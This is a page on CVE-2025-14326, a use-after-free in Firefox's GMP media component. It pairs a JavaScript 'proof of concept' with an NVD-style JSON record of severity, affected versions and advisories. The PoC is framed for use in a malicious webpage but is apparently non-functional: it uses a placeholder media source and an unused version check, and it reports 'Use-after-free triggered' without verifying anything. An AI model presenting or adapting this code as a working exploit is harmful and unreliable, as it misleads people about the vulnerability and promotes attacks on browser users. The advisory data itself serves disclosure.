CVE-2025-14326

// CVE-2025-14326 PoC - GMP Use-after-free // This is a conceptual PoC for educational purposes only const vulnerableVersions = ['< 146']; function checkVersion(version) { const verNum = parseInt(version.split('.')[0]); return verNum < 146; } async function triggerGMPUAF() { // Create malicious video element const video = document.createElement('video'); video.src = 'malicious_media_stream'; // Trigger GMP processing multiple times to race condition for (let i = 0; i < 100; i++) { video.play(); await new Promise(r => setTimeout(r, 1)); video.pause(); video.src = ''; await new Promise(r => setTimeout(r, 1)); } // Attempt to reclaim freed memory const spray = new Array(1000).fill(0).map(() => new Uint8Array(4096)); return 'Use-after-free triggered'; } // Usage: Include in malicious webpage // document.addEventListener('DOMContentLoaded', triggerGMPUAF);

{"cve": {"id": "CVE-2025-14326", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:40.120", "lastModified": "2026-04-13T15:16:45.783", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use-after-free in the Audio/Video: GMP component. This vulnerability was fixed in Firefox 146 and Thunderbird 146."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "146.0", "matchCriteriaId": "3EF4CBBC-DCB5-4540-8B8A-91DA759ED631"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "146.0", "matchCriteriaId": "1CB46BC7-512D-45BF-BCF4-73FDDF94DBAF"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1840666", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-92/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-95/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}